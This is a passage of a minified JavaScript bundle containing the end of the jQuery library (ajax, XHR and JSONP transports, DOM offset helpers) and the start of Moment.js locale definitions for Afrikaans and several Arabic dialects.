xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Gt(Gt(e,w.ajaxSettings),t):Gt(w.ajaxSettings,e)},ajaxPrefilter:Bt(zt),ajaxTransport:Bt(Nt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var n,i,s,a,o,d,u,l,c,h,m=w.ajaxSetup({},t),p=m.context||m,f=m.context&&(p.nodeType||p.jquery)?w(p):w.event,_=w.Deferred(),y=w.Callbacks("once memory"),g=m.statusCode||{},M={},L={},D="canceled",Y={readyState:0,getResponseHeader:function(e){var t;if(u){if(!a)for(a={};t=Rt.exec(s);)a[t[1].toLowerCase()+" "]=(a[t[1].toLowerCase()+" "]||[]).concat(t[2]);t=a[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return u?s:null},setRequestHeader:function(e,t){return null==u&&(e=L[e.toLowerCase()]=L[e.toLowerCase()]||e,M[e]=t),this},overrideMimeType:function(e){return null==u&&(m.mimeType=e),this},statusCode:function(e){var t;if(e)if(u)Y.always(e[Y.status]);else for(t in e)g[t]=[g[t],e[t]];return this},abort:function(e){var t=e||D;return n&&n.abort(t),b(0,t),this}};if(_.promise(Y),m.url=((e||m.url||bt.href)+"").replace(Ft,bt.protocol+"//"),m.type=t.method||t.type||m.method||m.type,m.dataTypes=(m.dataType||"*").toLowerCase().match(F)||[""],null==m.crossDomain){d=v.createElement("a");try{d.href=m.url,d.href=d.href,m.crossDomain=Wt.protocol+"//"+Wt.host!=d.protocol+"//"+d.host}catch(e){m.crossDomain=!0}}if(m.data&&m.processData&&"string"!=typeof m.data&&(m.data=w.param(m.data,m.traditional)),Ut(zt,m,t,Y),u)return Y;for(c in(l=w.event&&m.global)&&0==w.active++&&w.event.trigger("ajaxStart"),m.type=m.type.toUpperCase(),m.hasContent=!At.test(m.type),i=m.url.replace(Ct,""),m.hasContent?m.data&&m.processData&&0===(m.contentType||"").indexOf("application/x-www-form-urlencoded")&&(m.data=m.data.replace(Pt,"+")):(h=m.url.slice(i.length),m.data&&(m.processData||"string"==typeof m.data)&&(i+=(kt.test(i)?"&":"?")+m.data,delete m.data),!1===m.cache&&(i=i.replace(Ot,"$1"),h=(kt.test(i)?"&":"?")+"_="+Tt.guid+++h),m.url=i+h),m.ifModified&&(w.lastModified[i]&&Y.setRequestHeader("If-Modified-Since",w.lastModified[i]),w.etag[i]&&Y.setRequestHeader("If-None-Match",w.etag[i])),(m.data&&m.hasContent&&!1!==m.contentType||t.contentType)&&Y.setRequestHeader("Content-Type",m.contentType),Y.setRequestHeader("Accept",m.dataTypes[0]&&m.accepts[m.dataTypes[0]]?m.accepts[m.dataTypes[0]]+("*"!==m.dataTypes[0]?", "+It+"; q=0.01":""):m.accepts["*"]),m.headers)Y.setRequestHeader(c,m.headers[c]);if(m.beforeSend&&(!1===m.beforeSend.call(p,Y,m)||u))return Y.abort();if(D="abort",y.add(m.complete),Y.done(m.success),Y.fail(m.error),n=Ut(Nt,m,t,Y)){if(Y.readyState=1,l&&f.trigger("ajaxSend",[Y,m]),u)return Y;m.async&&m.timeout>0&&(o=r.setTimeout((function(){Y.abort("timeout")}),m.timeout));try{u=!1,n.send(M,b)}catch(e){if(u)throw e;b(-1,e)}}else b(-1,"No Transport");function b(e,t,a,d){var c,h,v,M,L,D=t;u||(u=!0,o&&r.clearTimeout(o),n=void 0,s=d||"",Y.readyState=e>0?4:0,c=e>=200&&e<300||304===e,a&&(M=function(e,t,n){for(var r,i,s,a,o=e.contents,d=e.dataTypes;"*"===d[0];)d.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in o)if(o[i]&&o[i].test(r)){d.unshift(i);break}if(d[0]in n)s=d[0];else{for(i in n){if(!d[0]||e.converters[i+" "+d[0]]){s=i;break}a||(a=i)}s=s||a}if(s)return s!==d[0]&&d.unshift(s),n[s]}(m,Y,a)),!c&&w.inArray("script",m.dataTypes)>-1&&(m.converters["text script"]=function(){}),M=function(e,t,n,r){var i,s,a,o,d,u={},l=e.dataTypes.slice();if(l[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(s=l.shift();s;)if(e.responseFields[s]&&(n[e.responseFields[s]]=t),!d&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),d=s,s=l.shift())if("*"===s)s=d;else if("*"!==d&&d!==s){if(!(a=u[d+" "+s]||u["* "+s]))for(i in u)if((o=i.split(" "))[1]===s&&(a=u[d+" "+o[0]]||u["* "+o[0]])){!0===a?a=u[i]:!0!==u[i]&&(s=o[0],l.unshift(o[1]));break}if(!0!==a)if(a&&e.throws)t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+d+" to "+s}}}return{state:"success",data:t}}(m,M,Y,c),c?(m.ifModified&&((L=Y.getResponseHeader("Last-Modified"))&&(w.lastModified[i]=L),(L=Y.getResponseHeader("etag"))&&(w.etag[i]=L)),204===e||"HEAD"===m.type?D="nocontent":304===e?D="notmodified":(D=M.state,h=M.data,c=!(v=M.error))):(v=D,!e&&D||(D="error",e<0&&(e=0))),Y.status=e,Y.statusText=(t||D)+"",c?_.resolveWith(p,[h,D,Y]):_.rejectWith(p,[Y,D,v]),Y.statusCode(g),g=void 0,l&&f.trigger(c?"ajaxSuccess":"ajaxError",[Y,m,c?h:v]),y.fireWith(p,[Y,D]),l&&(f.trigger("ajaxComplete",[Y,m]),--w.active||w.event.trigger("ajaxStop")))}return Y},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],(function(e,t){w[t]=function(e,n,r,i){return y(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}})),w.ajaxPrefilter((function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")})),w._evalUrl=function(e,t,n){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){w.globalEval(e,t,n)}})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(y(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map((function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e})).append(this)),this},wrapInner:function(e){return y(e)?this.each((function(t){w(this).wrapInner(e.call(this,t))})):this.each((function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)}))},wrap:function(e){var t=y(e);return this.each((function(n){w(this).wrapAll(t?e.call(this,n):e)}))},unwrap:function(e){return this.parent(e).not("body").each((function(){w(this).replaceWith(this.childNodes)})),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new r.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Jt=w.ajaxSettings.xhr();_.cors=!!Jt&&"withCredentials"in Jt,_.ajax=Jt=!!Jt,w.ajaxTransport((function(e){var t,n;if(_.cors||Jt&&!e.crossDomain)return{send:function(i,s){var a,o=e.xhr();if(o.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(a in e.xhrFields)o[a]=e.xhrFields[a];for(a in e.mimeType&&o.overrideMimeType&&o.overrideMimeType(e.mimeType),e.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest"),i)o.setRequestHeader(a,i[a]);t=function(e){return function(){t&&(t=n=o.onload=o.onerror=o.onabort=o.ontimeout=o.onreadystatechange=null,"abort"===e?o.abort():"error"===e?"number"!=typeof o.status?s(0,"error"):s(o.status,o.statusText):s(Vt[o.status]||o.status,o.statusText,"text"!==(o.responseType||"text")||"string"!=typeof o.responseText?{binary:o.response}:{text:o.responseText},o.getAllResponseHeaders()))}},o.onload=t(),n=o.onerror=o.ontimeout=t("error"),void 0!==o.onabort?o.onabort=n:o.onreadystatechange=function(){4===o.readyState&&r.setTimeout((function(){t&&n()}))},t=t("abort");try{o.send(e.hasContent&&e.data||null)}catch(e){if(t)throw e}},abort:function(){t&&t()}}})),w.ajaxPrefilter((function(e){e.crossDomain&&(e.contents.script=!1)})),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",(function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")})),w.ajaxTransport("script",(function(e){var t,n;if(e.crossDomain||e.scriptAttrs)return{send:function(r,i){t=w("<script>").attr(e.scriptAttrs||{}).prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&i("error"===e.type?404:200,e.type)}),v.head.appendChild(t[0])},abort:function(){n&&n()}}}));var qt,$t=[],Zt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=$t.pop()||w.expando+"_"+Tt.guid++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",(function(e,t,n){var i,s,a,o=!1!==e.jsonp&&(Zt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Zt.test(e.data)&&"data");if(o||"jsonp"===e.dataTypes[0])return i=e.jsonpCallback=y(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,o?e[o]=e[o].replace(Zt,"$1"+i):!1!==e.jsonp&&(e.url+=(kt.test(e.url)?"&":"?")+e.jsonp+"="+i),e.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},e.dataTypes[0]="json",s=r[i],r[i]=function(){a=arguments},n.always((function(){void 0===s?w(r).removeProp(i):r[i]=s,e[i]&&(e.jsonpCallback=t.jsonpCallback,$t.push(i)),a&&y(s)&&s(a[0]),a=s=void 0})),"script"})),_.createHTMLDocument=((qt=v.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===qt.childNodes.length),w.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(_.createHTMLDocument?((r=(t=v.implementation.createHTMLDocument("")).createElement("base")).href=v.location.href,t.head.appendChild(r)):t=v),s=!n&&[],(i=E.exec(e))?[t.createElement(i[1])]:(i=Ye([e],t,s),s&&s.length&&w(s).remove(),w.merge([],i.childNodes)));var r,i,s},w.fn.load=function(e,t,n){var r,i,s,a=this,o=e.indexOf(" ");return o>-1&&(r=vt(e.slice(o)),e=e.slice(0,o)),y(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done((function(e){s=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)})).always(n&&function(e,t){a.each((function(){n.apply(this,s||[e.responseText,t,e])}))}),this},w.expr.pseudos.animated=function(e){return w.grep(w.timers,(function(t){return e===t.elem})).length},w.offset={setOffset:function(e,t,n){var r,i,s,a,o,d,u=w.css(e,"position"),l=w(e),c={};"static"===u&&(e.style.position="relative"),o=l.offset(),s=w.css(e,"top"),d=w.css(e,"left"),("absolute"===u||"fixed"===u)&&(s+d).indexOf("auto")>-1?(a=(r=l.position()).top,i=r.left):(a=parseFloat(s)||0,i=parseFloat(d)||0),y(t)&&(t=t.call(e,n,w.extend({},o))),null!=t.top&&(c.top=t.top-o.top+a),null!=t.left&&(c.left=t.left-o.left+i),"using"in t?t.using.call(e,c):("number"==typeof c.top&&(c.top+="px"),"number"==typeof c.left&&(c.left+="px"),l.css(c))}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each((function(t){w.offset.setOffset(this,e,t)}));var t,n,r=this[0];return r?r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{for(t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position");)e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map((function(){for(var e=this.offsetParent;e&&"static"===w.css(e,"position");)e=e.offsetParent;return e||ae}))}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},(function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return G(this,(function(e,r,i){var s;if(g(e)?s=e:9===e.nodeType&&(s=e.defaultView),void 0===i)return s?s[t]:e[r];s?s.scrollTo(n?s.pageXOffset:i,n?i:s.pageYOffset):e[r]=i}),e,r,arguments.length)}})),w.each(["top","left"],(function(e,t){w.cssHooks[t]=Je(_.pixelPosition,(function(e,n){if(n)return n=Ve(e,t),We.test(n)?w(e).position()[t]+"px":n}))})),w.each({Height:"height",Width:"width"},(function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},(function(n,r){w.fn[r]=function(i,s){var a=arguments.length&&(n||"boolean"!=typeof i),o=n||(!0===i||!0===s?"margin":"border");return G(this,(function(t,n,i){var s;return g(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(s=t.documentElement,Math.max(t.body["scroll"+e],s["scroll"+e],t.body["offset"+e],s["offset"+e],s["client"+e])):void 0===i?w.css(t,n,o):w.style(t,n,i,o)}),t,a?i:void 0,a)}}))})),w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],(function(e,t){w.fn[t]=function(e){return this.on(t,e)}})),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),(function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}));var Kt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),y(e))return r=o.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(o.call(arguments)))}).guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=H,w.isFunction=y,w.isWindow=g,w.camelCase=$,w.type=D,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},w.trim=function(e){return null==e?"":(e+"").replace(Kt,"")},void 0===(n=function(){return w}.apply(t,[]))||(e.exports=n);var Xt=r.jQuery,Qt=r.$;return w.noConflict=function(e){return r.$===w&&(r.$=Qt),e&&r.jQuery===w&&(r.jQuery=Xt),w},void 0===i&&(r.jQuery=r.$=w),w}))},540:function(e,t,n){"use strict";n.r(t)},2786:function(e,t,n){!function(e){"use strict";e.defineLocale("af",{months:"Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"),weekdays:"Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"),weekdaysShort:"Son_Maa_Din_Woe_Don_Vry_Sat".split("_"),weekdaysMin:"So_Ma_Di_Wo_Do_Vr_Sa".split("_"),meridiemParse:/vm|nm/i,isPM:function(e){return/^nm$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"vm":"VM":n?"nm":"NM"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Vandag om] LT",nextDay:"[Môre om] LT",nextWeek:"dddd [om] LT",lastDay:"[Gister om] LT",lastWeek:"[Laas] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oor %s",past:"%s gelede",s:"'n paar sekondes",ss:"%d sekondes",m:"'n minuut",mm:"%d minute",h:"'n uur",hh:"%d ure",d:"'n dag",dd:"%d dae",M:"'n maand",MM:"%d maande",y:"'n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},4130:function(e,t,n){!function(e){"use strict";var t=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},n={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},r=function(e){return function(r,i,s,a){var o=t(r),d=n[e][t(r)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,r)}},i=["جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-dz",{months:i,monthsShort:i,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:r("s"),ss:r("s"),m:r("m"),mm:r("m"),h:r("h"),hh:r("h"),d:r("d"),dd:r("d"),M:r("M"),MM:r("M"),y:r("y"),yy:r("y")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:0,doy:4}})}(n(381))},6135:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-kw",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:0,doy:12}})}(n(381))},6440:function(e,t,n){!function(e){"use strict";var t={1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9",0:"0"},n=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},r={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},i=function(e){return function(t,i,s,a){var o=n(t),d=r[e][n(t)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,t)}},s=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-ly",{months:s,monthsShort:s,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},7702:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-ma",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(381))},6040:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"};e.defineLocale("ar-sa",{months:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:0,doy:6}})}(n(381))},7100:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-tn",{months:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(381))},867:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},r=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},i={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},s=function(e){return function(t,n,s,a){var o=r(t),d=i[e][r(t)];return 